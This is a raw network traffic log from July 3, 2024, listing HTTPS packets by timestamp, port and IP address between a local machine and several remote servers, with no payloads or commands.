Jul 3, 2024 14:38:45.205657005 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.207658052 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.207740068 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.207817078 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.208623886 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.208652020 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.208693027 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.208709002 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.208724022 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.208738089 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.208796024 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.214729071 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.224867105 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.236448050 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.248514891 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.258234978 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.259551048 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.259567976 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.259601116 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.263578892 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.263612032 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.263911963 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.263922930 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.264091015 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.264096022 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.264630079 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.264714956 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.264771938 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.264889956 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.264940023 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.266272068 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.267127991 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.267146111 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.267607927 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.267792940 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.267822981 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.267896891 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.268857956 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.269207001 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.269320965 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.269499063 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.269562960 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.270242929 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.270402908 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.270412922 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.270865917 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.270967007 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.271269083 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.271286964 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.271291018 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.271337032 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.271621943 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.271667004 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.271678925 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.272285938 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.272324085 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.272486925 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.272499084 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.272546053 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.272664070 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.272670984 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.307547092 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.312516928 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.314789057 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.314800024 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.314800024 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.316499949 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.316970110 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317110062 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317200899 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317256927 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.317276955 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317358971 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317400932 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.317406893 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317436934 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.317548990 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317713976 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317751884 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.317755938 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317827940 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.317864895 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.317868948 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.321964979 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.326837063 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.346255064 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.346282005 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.351547003 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.351572037 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.356064081 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.356092930 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.356154919 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.356623888 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:45.356674910 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:45.356731892 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:45.357300043 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.357311964 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.357613087 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:45.357629061 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:45.359261990 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.359308004 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.359421015 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.359746933 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.359766006 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.378190994 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.379667997 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.379736900 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.379761934 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.381370068 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.381676912 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.388573885 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.388586044 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.388680935 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.388705969 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.391375065 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.394114017 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.394124031 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.394186974 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.394201994 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.396823883 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.397203922 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.399468899 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.399544001 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.399564028 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.399601936 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.401886940 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.404236078 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.404306889 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.404319048 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.404355049 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.406548023 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.408854008 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.408871889 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.408927917 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.408945084 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.413429022 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.413445950 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.413527012 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.413542032 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.413579941 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.415716887 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.415817022 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.415826082 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.420087099 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.421857119 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.421958923 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.421979904 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.422029972 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.423748970 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.423794031 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.423799038 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.423813105 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.423840046 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.423846960 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.423856020 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.423893929 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.425733089 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.427632093 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.427707911 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.427721024 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.427762032 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.431155920 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.431227922 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.434696913 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.434801102 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.436249018 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.436309099 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.436315060 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.436357975 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.466362953 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.466453075 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.466461897 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.466506958 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.468419075 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.468460083 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.468507051 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.468517065 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.468559980 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.471009016 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.471019983 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.471076012 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.475624084 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.475662947 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.475670099 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.475728035 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.475754023 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.475760937 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.475863934 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.482276917 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.482290983 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.482398033 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.482417107 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483251095 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483313084 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.483325958 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483340025 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483346939 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483352900 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.483421087 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.483493090 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.485433102 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.485529900 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.488713980 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.488771915 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.488794088 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.488842010 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.555311918 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.555329084 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.555372953 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.555430889 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.555449009 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.555481911 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.556848049 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.556901932 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.559015989 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.559087992 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.562180042 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.562275887 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.562287092 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.564882994 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.564969063 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.564980030 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.567559958 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.570236921 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.570281029 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.570297003 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.570491076 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.572664976 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.572732925 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.573379993 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.573441029 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.574892044 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.574963093 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.650568008 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.650930882 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.650945902 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.653477907 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.653561115 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.653573990 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.656369925 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.656589031 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.656608105 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.656646967 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.658426046 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.658658028 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.658674002 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.659742117 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.659796000 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.659806013 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.659836054 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.660420895 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.660465002 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.662472010 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.662537098 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.662548065 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.662575960 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.663959980 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.664017916 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.664699078 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.664741993 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.668009043 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.668054104 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.668080091 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.668090105 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.668119907 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.668171883 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.668207884 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.693712950 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.745151997 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.763813019 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.807682037 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.849390984 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.898235083 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.902466059 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.902503967 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.902545929 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.902555943 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.906662941 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.929996967 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.930037022 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.930048943 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.930233002 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.931065083 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.931107998 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:45.931124926 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.931169987 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:45.942707062 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.942750931 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.944139004 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.944148064 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.944211006 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.944694996 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.944703102 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.944861889 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.944874048 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.945414066 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.945555925 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.945593119 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.946697950 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.946784019 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.946901083 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.946954966 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.958636045 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.958926916 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.963915110 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.964090109 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.969836950 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.969969988 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.970554113 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:45.970642090 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:45.990870953 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.993099928 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.998797894 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.998836040 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:46.014801025 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.014827013 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.014827013 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.014856100 CEST	443	49749	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.014866114 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.040224075 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.040249109 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.040710926 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.042604923 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:46.042825937 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.043824911 CEST	49746	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.043838978 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.043982983 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:46.043996096 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.044176102 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:46.044456005 CEST	49749	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.045104980 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:46.045381069 CEST	443	49746	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:46.045432091 CEST	49746	443	192.168.2.5	142.250.185.130
